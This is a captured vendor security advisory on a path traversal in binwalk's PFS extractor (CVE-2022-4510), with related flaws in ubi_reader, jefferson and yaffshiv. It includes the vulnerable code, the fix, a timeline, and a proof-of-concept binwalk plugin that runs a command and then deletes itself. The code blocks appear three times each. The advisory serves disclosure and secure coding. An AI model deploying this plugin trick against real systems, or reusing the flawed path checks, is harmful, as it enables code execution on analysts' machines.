onekey.com
Open in
urlscan Pro
88.99.188.118
Public Scan
URL:
https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk/
Submission: On February 08 via api from US — Scanned from DE
Submission: On February 08 via api from US — Scanned from DE
Form analysis
0 forms found in the DOMText Content
ARE YOU READY FOR THE NEW EU CYBER RESILIENCE ACT? » START YOUR CRA READINESS ASSESSMENT TODAY! * Home * Device producer * Device operator * Consulting * Company * News * Research * Contact Menu * Home * Device producer * Device operator * Consulting * Company * News * Research * Contact ARE YOU READY FOR THE NEW EU CYBER RESILIENCE ACT? » START YOUR CRA READINESS ASSESSMENT TODAY! * Home * Device producer * Device operator * Consulting * Company * News * Research * Contact Menu * Home * Device producer * Device operator * Consulting * Company * News * Research * Contact * Home * Device producer * Device operator * Consulting * Company * News * Research * Contact Menu * Home * Device producer * Device operator * Consulting * Company * News * Research * Contact SECURITY ADVISORY: REMOTE COMMAND EXECUTION IN BINWALK * January 31, 2023 INTRODUCTION Before we dive into the technical details, we want to raise our hats to the teams behind binwalk, ubi_reader, jefferson, and yaffshiv and express our respect and admiration for the work they put into it over the years and all their contributions towards the security community. Without them, and many other great projects, security analysis of IoT devices would not be where it is today. With the fading maintenance of binwalk, we too were inspired to contribute to the security community and open source our internal extraction framework unblob. Our objective with this blog is to summarize some of the pitfalls when dealing with untrusted data and to raise awareness about path traversal security issues and the impact they may have. With that being out of the way, let’s dive in ! As detailed in my Black Alps talk, we audited multiple third-party extractors code base that unblob relies on over the summer of 2022 and identified multiple issues ranging from logic bugs leading to extraction failures to path traversals. In the process, I learned a lot about the many different ways you can end up with a path traversal in Python. Around October 2022, I had the realization that if all those third-party dependencies are suffering from some variation of these insecure coding patterns, binwalk may be too. So, I started looking and soon enough found a path traversal within the PFS filesystem extractor. I then found a way to gain remote code execution by abusing binwalk’s plugin system over lunch at hardwear.io with Mücahid. As explained in the pull request I sent on October 26th, I took the liberty to report [it] in the open since #556 was fixed that way and I did not find any security/coordinated disclosure policy or contact info. At the time of publication, the vulnerability has yet to be patched. PATH TRAVERSAL IN BINWALK Affected vendor & productRefirm Labs binwalkVendor AdvisoryNone at this time.Vulnerable version2.1.2b through 2.3.3 includedFixed versionNone at this time.CVE IDsCVE-2022-4510Impact (CVSS)7.8 (high) AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HCreditQ. Kaiser, ONEKEY Research Lab SUMMARY A path traversal vulnerability was identified in ReFirm Labs binwalk from version 2.1.2b through 2.3.3 (inclusive). This vulnerability allows remote attackers to execute arbitrary code on affected installations of binwalk. User interaction is required to exploit this vulnerability in that the target must open the malicious file with binwalk using extract mode (-e option). THE BUG PFS is an obscure filesystem format found in some embedded devices. The only public documentation comes from a tool named pfstool written by Peter Lekensteyn. A PFS extractor plugin was merged into binwalk in 2017 with commit d023454, and a path traversal mitigation attempt was introduced with commit 58d1d92 on the same day. This commit introduced the following change: def extractor(self, fname): fname = os.path.abspath(fname) + out_dir = binwalk.core.common.unique_file_name(os.path.join(os.path.dirname(fname), "pfs-root")) + try: with PFS(fname) as fs: # The end of PFS meta data is the start of the actual data - data = open(fname, 'rb') + data = binwalk.core.common.BlockFile(fname, 'rb') data.seek(fs.get_end_of_meta_data()) for entry in fs.entries(): - self._create_dir_from_fname(entry.fname) - outfile = open(entry.fname, 'wb') - outfile.write(data.read(entry.fsize)) - outfile.close() + outfile_path = os.path.join(out_dir, entry.fname) + if not outfile_path.startswith(out_dir): # this branch will never be taken + binwalk.core.common.warning("Unpfs extractor detected directory traversal attempt for file: '%s'. Refusing to extract." % outfile_path) + else: + self._create_dir_from_fname(outfile_path) + outfile = binwalk.core.common.BlockFile(outfile_path, 'wb') + outfile.write(data.read(entry.fsize)) + outfile.close() data.close() except KeyboardInterrupt as e: raise e def extractor(self, fname): fname = os.path.abspath(fname) + out_dir = binwalk.core.common.unique_file_name(os.path.join(os.path.dirname(fname), "pfs-root")) + try: with PFS(fname) as fs: # The end of PFS meta data is the start of the actual data - data = open(fname, 'rb') + data = binwalk.core.common.BlockFile(fname, 'rb') data.seek(fs.get_end_of_meta_data()) for entry in fs.entries(): - self._create_dir_from_fname(entry.fname) - outfile = open(entry.fname, 'wb') - outfile.write(data.read(entry.fsize)) - outfile.close() + outfile_path = os.path.join(out_dir, entry.fname) + if not outfile_path.startswith(out_dir): # this branch will never be taken + binwalk.core.common.warning("Unpfs extractor detected directory traversal attempt for file: '%s'. Refusing to extract." % outfile_path) + else: + self._create_dir_from_fname(outfile_path) + outfile = binwalk.core.common.BlockFile(outfile_path, 'wb') + outfile.write(data.read(entry.fsize)) + outfile.close() data.close() except KeyboardInterrupt as e: raise e def extractor(self, fname): fname = os.path.abspath(fname) + out_dir = binwalk.core.common.unique_file_name(os.path.join(os.path.dirname(fname), "pfs-root")) + try: with PFS(fname) as fs: # The end of PFS meta data is the start of the actual data - data = open(fname, 'rb') + data = binwalk.core.common.BlockFile(fname, 'rb') data.seek(fs.get_end_of_meta_data()) for entry in fs.entries(): - self._create_dir_from_fname(entry.fname) - outfile = open(entry.fname, 'wb') - outfile.write(data.read(entry.fsize)) - outfile.close() + outfile_path = os.path.join(out_dir, entry.fname) + if not outfile_path.startswith(out_dir): # this branch will never be taken + binwalk.core.common.warning("Unpfs extractor detected directory traversal attempt for file: '%s'. Refusing to extract." % outfile_path) + else: + self._create_dir_from_fname(outfile_path) + outfile = binwalk.core.common.BlockFile(outfile_path, 'wb') + outfile.write(data.read(entry.fsize)) + outfile.close() data.close() except KeyboardInterrupt as e: raise e The issue lies in the fact that os.path.join one line 16 does not fully resolve a path. Therefore, the condition on line 17 will never be true. Here’s an example of that behavior: >>> os.path.join("/tmp", "../etc/passwd") '/tmp/../etc/passwd' >>> os.path.abspath(os.path.join("/tmp", "../etc/passwd")) '/etc/passwd' >>> os.path.join("/tmp", "../etc/passwd") '/tmp/../etc/passwd' >>> os.path.abspath(os.path.join("/tmp", "../etc/passwd")) '/etc/passwd' >>> os.path.join("/tmp", "../etc/passwd") '/tmp/../etc/passwd' >>> os.path.abspath(os.path.join("/tmp", "../etc/passwd")) '/etc/passwd' By crafting a valid PFS filesystem with filenames containing the ../ traversal sequence, we can force binwalk to write files outside of the extraction directory. OUR FIX Our fix simply introduce a call to os.path.abspath on line 8 so that the built path is fully resolved. --- a/src/binwalk/plugins/unpfs.py +++ b/src/binwalk/plugins/unpfs.py @@ -104,7 +104,7 @@ class PFSExtractor(binwalk.core.plugin.Plugin): data = binwalk.core.common.BlockFile(fname, 'rb') data.seek(fs.get_end_of_meta_data()) for entry in fs.entries(): - outfile_path = os.path.join(out_dir, entry.fname) + outfile_path = os.path.abspath(os.path.join(out_dir, entry.fname)) if not outfile_path.startswith(out_dir): binwalk.core.common.warning("Unpfs extractor detected directory traversal attempt for file: '%s'. Refusing to extract." % outfile_path) else: --- a/src/binwalk/plugins/unpfs.py +++ b/src/binwalk/plugins/unpfs.py @@ -104,7 +104,7 @@ class PFSExtractor(binwalk.core.plugin.Plugin): data = binwalk.core.common.BlockFile(fname, 'rb') data.seek(fs.get_end_of_meta_data()) for entry in fs.entries(): - outfile_path = os.path.join(out_dir, entry.fname) + outfile_path = os.path.abspath(os.path.join(out_dir, entry.fname)) if not outfile_path.startswith(out_dir): binwalk.core.common.warning("Unpfs extractor detected directory traversal attempt for file: '%s'. Refusing to extract." % outfile_path) else: --- a/src/binwalk/plugins/unpfs.py +++ b/src/binwalk/plugins/unpfs.py @@ -104,7 +104,7 @@ class PFSExtractor(binwalk.core.plugin.Plugin): data = binwalk.core.common.BlockFile(fname, 'rb') data.seek(fs.get_end_of_meta_data()) for entry in fs.entries(): - outfile_path = os.path.join(out_dir, entry.fname) + outfile_path = os.path.abspath(os.path.join(out_dir, entry.fname)) if not outfile_path.startswith(out_dir): binwalk.core.common.warning("Unpfs extractor detected directory traversal attempt for file: '%s'. Refusing to extract." % outfile_path) else: EXPLOITATION STRATEGY There are plenty of ways to get remote command execution from a path traversal (e.g., by overwriting .ssh/authorized_keys to obtain password-less SSH access, overwrite ~/.bashrc to execute arbitrary commands on the next login), but I wanted something that was environment agnostic and relied on what’s already there. Enter binwalk plugins. Since the early days of binwalk, users have the ability to define their own plugins using binwalk’s API. As indicated in the documentation: “Activating a plugin is as simple as dropping it in binwalk’s plugin directory $HOME/.config/binwalk/plugins/. The plugin will then be loaded on all subsequent binwalk scans.“ So, if we exploit the path traversal to write a valid plugin at that location, binwalk will immediately pick it up and execute it while it’s still scanning the malicious file. On top of that, the PFS extractor will take care of creating all required directories if they do not exist, so we don’t need to expect anything from the system we’re running on. This is the plugin I ended up writing. The plugin executes two times since it does not define an explicit MODULE attribute that defines its purpose (e.g., signature scan, entropy calculation, compression stream identification). I take advantage of that behavior to make it clean up after itself. import binwalk.core.plugin import os import shutil class MaliciousExtractor(binwalk.core.plugin.Plugin): """ Malicious binwalk plugin """ def init(self): if not os.path.exists("/tmp/.binwalk"): os.system("id") with open("/tmp/.binwalk", "w") as f: f.write("1") else: os.remove("/tmp/.binwalk") os.remove(os.path.abspath(__file__)) shutil.rmtree(os.path.join(os.path.dirname(os.path.abspath(__file__)), "__pycache__")) import binwalk.core.plugin import os import shutil class MaliciousExtractor(binwalk.core.plugin.Plugin): """ Malicious binwalk plugin """ def init(self): if not os.path.exists("/tmp/.binwalk"): os.system("id") with open("/tmp/.binwalk", "w") as f: f.write("1") else: os.remove("/tmp/.binwalk") os.remove(os.path.abspath(__file__)) shutil.rmtree(os.path.join(os.path.dirname(os.path.abspath(__file__)), "__pycache__")) import binwalk.core.plugin import os import shutil class MaliciousExtractor(binwalk.core.plugin.Plugin): """ Malicious binwalk plugin """ def init(self): if not os.path.exists("/tmp/.binwalk"): os.system("id") with open("/tmp/.binwalk", "w") as f: f.write("1") else: os.remove("/tmp/.binwalk") os.remove(os.path.abspath(__file__)) shutil.rmtree(os.path.join(os.path.dirname(os.path.abspath(__file__)), "__pycache__")) Crafting malicious PFS file is left as an exercise to the reader. DEMO Here’s a video demo of the exploit: FUTURE WORK The “D-Link RomFS” plugin is probably affected by a similar vulnerability but the format, which is actually eCOS RomFS, is not parsed properly (see this PR for a fix). I did not want to load two opposing format constructs in my brain just to come up with a proof-of-concept. As a former colleague of mine would have said: CBA. KEY TAKEAWAYS As security industry, every now and then, we need to look in the mirror and also validate the security of our own technology stack. This especially becomes critical in forensic analysis and reverse engineering where we are commonly faced with untrusted, potentially malicious files. While the path traversals described in this article have the potential to void any reverse engineering efforts and to tamper with evidence collected, they also demonstrate the importance of sandboxing analysis environments to limit the impact of such vulnerabilities. Especially with the rise of automated extraction and analysis tools relying on tools like binwalk (e.g., FACT, ofrak, EMBA), it’s important for developers and users of those solution to be aware of the risks. TIMELINE 2022-10–24 – Attempt to get in touch with Refirm Labs but no security policies and domains are down. 2022-10-26 – Decided to send a pull request with the fix (https://github.com/ReFirmLabs/binwalk/pull/617) so that it could be immediately integrated. 2022-11-17 – Live demo of the exploit during our talk at Black Alps. 2023-01-24 – Since the CPE of the latest binwalk vulnerability states microsoft:binwalk and that Refirm Labs got acquired in 2021, we reported it to MSRC. Turns out MSRC does not consider it a Microsoft product and the CPE was chosen this way by VulDB. 2023-01-25 – Since we’re a CNA and we’re not seeing any movement on the repository, we take the decision to create a dedicated CVE so that users are aware of this. 2023-01-31 – ONEKEY releases its advisory -------------------------------------------------------------------------------- PYTHON PATH TRAVERSAL CODE PATTERNS All of the code examples provided below are illustrations of the insecure code patterns observed in the affected projects. You can click on the link provided in each description to open the pull request highlighting the actual code. UBI_READER – NO PATH TRAVERSAL VERIFICATION AT ALL Affected vendor & productjrspruitt:ubi_readerVulnerable version< 0.8.5Fixed version0.8.5CVE IDsCVE-2023-0591Impact (CVSS)5.5 (medium) AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:NCreditQ. Kaiser, ONEKEY Research Lab As seen in ubi_reader, the code does not attempt to protect against traversal. import os extraction_dir = "/tmp" for filename in filenames: extraction_path = os.path.join(extraction_dir, filename) import os extraction_dir = "/tmp" for filename in filenames: extraction_path = os.path.join(extraction_dir, filename) import os extraction_dir = "/tmp" for filename in filenames: extraction_path = os.path.join(extraction_dir, filename) JEFFERSON – NO PATH TRAVERSAL VERIFICATION AT ALL Affected vendor & productsviehb:jeffersonVulnerable version< 0.4.1Fixed version0.4.1CVE IDsCVE-2023-0592Impact (CVSS)5.5 (medium) AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:NCreditQ. Kaiser, ONEKEY Research Lab Similar but not the same signature, observed in Jefferson. import os extraction_dir = "/tmp" for filename in filenames: extraction_path = os.path.join(os.getcwd(), extraction_dir, path) import os extraction_dir = "/tmp" for filename in filenames: extraction_path = os.path.join(os.getcwd(), extraction_dir, path) import os extraction_dir = "/tmp" for filename in filenames: extraction_path = os.path.join(os.getcwd(), extraction_dir, path) YAFFSHIV – MISUNDERSTANDING OS.PATH.JOIN’S ARGUMENT PRECEDENCE Affected vendor & productdevttys0:yaffshivVulnerable version<= 0.1Fixed versionNoneCVE IDsCVE-2023-0593Impact (CVSS)5.5 (medium) AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:NCreditQ. Kaiser, ONEKEY Research Lab The code makes the assumption that filename does not start with a forward slash. Observed in yaffshiv. import os extraction_dir = "/tmp" for filename in filenames: file_path = os.path.join(extraction_dir, filename) if b'..' in file_path: raise Exception("Path traversal attempt, aborting.") import os extraction_dir = "/tmp" for filename in filenames: file_path = os.path.join(extraction_dir, filename) if b'..' in file_path: raise Exception("Path traversal attempt, aborting.") import os extraction_dir = "/tmp" for filename in filenames: file_path = os.path.join(extraction_dir, filename) if b'..' in file_path: raise Exception("Path traversal attempt, aborting.") The second argument of os.path.join always takes precedence if both of them starts with a forward slash. >>> os.path.join("/tmp", "home/traversal") '/tmp/home/traversal' >>> os.path.join("/tmp", "/home/traversal") '/home/traversal' >>> os.path.join("/tmp", "home/traversal") '/tmp/home/traversal' >>> os.path.join("/tmp", "/home/traversal") '/home/traversal' >>> os.path.join("/tmp", "home/traversal") '/tmp/home/traversal' >>> os.path.join("/tmp", "/home/traversal") '/home/traversal' BINWALK’S UNPFS – MISUNDERSTANDING OS.PATH.JOIN’S LACK OF RESOLUTION The code makes the assumption that os.path.join returns an absolute path, which it doesn’t. import os extraction_dir = "/tmp" for filename in filenames: outfile_path = os.path.join(extraction_dir, filename) if not outfile_path.startswith(extraction_dir ): # this condition will never be True raise Exception("Path traversal attempt, aborting.") import os extraction_dir = "/tmp" for filename in filenames: outfile_path = os.path.join(extraction_dir, filename) if not outfile_path.startswith(extraction_dir ): # this condition will never be True raise Exception("Path traversal attempt, aborting.") import os extraction_dir = "/tmp" for filename in filenames: outfile_path = os.path.join(extraction_dir, filename) if not outfile_path.startswith(extraction_dir ): # this condition will never be True raise Exception("Path traversal attempt, aborting.") This is what it looks like: >>> os.path.join("/tmp", "../etc/passwd") '/tmp/../etc/passwd' >>> os.path.abspath(os.path.join("/tmp", "../etc/passwd")) '/etc/passwd' >>> os.path.join("/tmp", "../etc/passwd") '/tmp/../etc/passwd' >>> os.path.abspath(os.path.join("/tmp", "../etc/passwd")) '/etc/passwd' >>> os.path.join("/tmp", "../etc/passwd") '/tmp/../etc/passwd' >>> os.path.abspath(os.path.join("/tmp", "../etc/passwd")) '/etc/passwd' ABOUT ONEKEY ONEKEY is a leading European specialist for automated security & compliance analysis for manufacturing (OT) and Internet of Things (IoT) devices. Using automatically generated “Digital Twins” and “Software Bill of Materials (SBOM)” of devices, ONEKEY autonomously analyzes firmware for critical security vulnerabilities and compliance violations, all without source code, device, or network access. Vulnerabilities for attacks and security risks are identified in the shortest possible time and can thus be specifically remedied. Easily integrated into software development and procurement processes, the solution enables manufacturers, distributors, and users of IoT technology to check security and compliance quickly and automatically before use, 24/7 throughout the product lifecycle. Leading companies, such as SWISSCOM, VERBUND AG and ZYXEL, are using this platform today – For research institutions and non-profit organizations, the ONEKEY platform is available at discounted terms & conditions. CONTACT: Sara Fortmann Marketing Manager sara.fortmann@onekey.com euromarcom public relations GmbH +49 611 973 150 team@euromarcom.de MORE NEWS * Understanding the EU Cyber Resilience Act and achieve product cybersecurity compliance with ONEKEY’s whitepaper * Security Advisory: Remote Command Execution in binwalk * EU Cyber Resilience Act: What to watch out for now * Security Advisory: Unauthenticated Configuration Export in Multiple WAGO Products * What is a SBOM and why is it important for cybersecurity? OUR EVENTS * ONEKEY at the Hacktober 2022 – let’s meet! * ONEKEY at the Hacktivity 2022 – let’s meet! * ONEKEY at Embedded World – let’s meet! * ONEKEY at ESCAR USA – let’s meet! * ONEKEY at HANNOVER MESSE – let’s meet! Share on facebook Share on twitter Share on pinterest Share on linkedin Share on xing Share on email SECURITY REPORTS - WHITEPAPERS – DOWNLOADS Click. Fill Form. Download. WHITEPAPER: UNDERSTANDING THE EU CYBER RESILIENCE ACT WHITEPAPER: TACKLING SOFTWARE SUPPLY CHAIN RISKS WITH IEC 62443 AND SBOM SUCCESS STORY: HOW SWISSCOM SAVES 400K EUR PER AVOIDED INCIDENT DATASHEET: ONEKEY PLATFORM - MANUFACTURING DATASHEET: ONEKEY PLATFORM - AUTOMOTIVE DATASHEET: ONEKEY ONDEMAND SERVICE IOT SECURITY REPORT 2022 CONTACT US * ONEKEY GmbH Kaiserswerther Straße 45 40477 Düsseldorf / Germany * +49 211 15874104 * office@ONEKEY.com * ONEKEY FOR RESEARCH AND NON-PROFIT * RESPONSIBLE DISCLOSURE POLICY * NEWSLETTER * IOT SECURITY NEWS * © ONEKEY GmbH * Imprint * Privacy Policy Privacy Preference We use cookies on our website. Some of them are essential, while others help us to improve this website and your experience. * Essential * External Media Accept all Save Individual Privacy Preferences Cookie Details Privacy Policy Imprint Privacy Preference Here you will find an overview of all cookies used. You can give your consent to whole categories or display further information and select certain cookies. Accept all Save Back Essential (2) Essential cookies enable basic functions and are necessary for the proper function of the website. Show Cookie Information Hide Cookie Information Name Borlabs Cookie Provider Owner of this website Purpose Saves the visitors preferences selected in the Cookie Box of Borlabs Cookie. Cookie Name borlabs-cookie Cookie Expiry 1 Year Name Google Analytics Provider Google LLC Purpose Cookie by Google used for website analytics. Generates statistical data on how the visitor uses the website. Privacy Policy https://policies.google.com/privacy?hl=en Cookie Name _ga,_gat,_gid Cookie Expiry 2 Years External Media (7) Content from video platforms and social media platforms is blocked by default. If External Media cookies are accepted, access to those contents no longer requires manual consent. Show Cookie Information Hide Cookie Information Accept Name Facebook Provider Facebook Purpose Used to unblock Facebook content. Privacy Policy https://www.facebook.com/privacy/explanation Host(s) .facebook.com Accept Name Google Maps Provider Google Purpose Used to unblock Google Maps content. Privacy Policy https://policies.google.com/privacy?hl=en&gl=en Host(s) .google.com Cookie Name NID Cookie Expiry 6 Month Accept Name Instagram Provider Facebook Purpose Used to unblock Instagram content. Privacy Policy https://www.instagram.com/legal/privacy/ Host(s) .instagram.com Cookie Name pigeon_state Cookie Expiry Session Accept Name OpenStreetMap Provider OpenStreetMap Foundation Purpose Used to unblock OpenStreetMap content. Privacy Policy https://wiki.osmfoundation.org/wiki/Privacy_Policy Host(s) .openstreetmap.org Cookie Name _osm_location, _osm_session, _osm_totp_token, _osm_welcome, _pk_id., _pk_ref., _pk_ses., qos_token Cookie Expiry 1-10 Years Accept Name Twitter Provider Twitter Purpose Used to unblock Twitter content. Privacy Policy https://twitter.com/privacy Host(s) .twimg.com, .twitter.com Cookie Name __widgetsettings, local_storage_support_test Cookie Expiry Unlimited Accept Name Vimeo Provider Vimeo Purpose Used to unblock Vimeo content. Privacy Policy https://vimeo.com/privacy Host(s) player.vimeo.com Cookie Name vuid Cookie Expiry 2 Years Accept Name YouTube Provider YouTube Purpose Used to unblock YouTube content. Privacy Policy https://policies.google.com/privacy?hl=en&gl=en Host(s) google.com Cookie Name NID Cookie Expiry 6 Month powered by Borlabs Cookie Privacy Policy Imprint Captcha by Forge12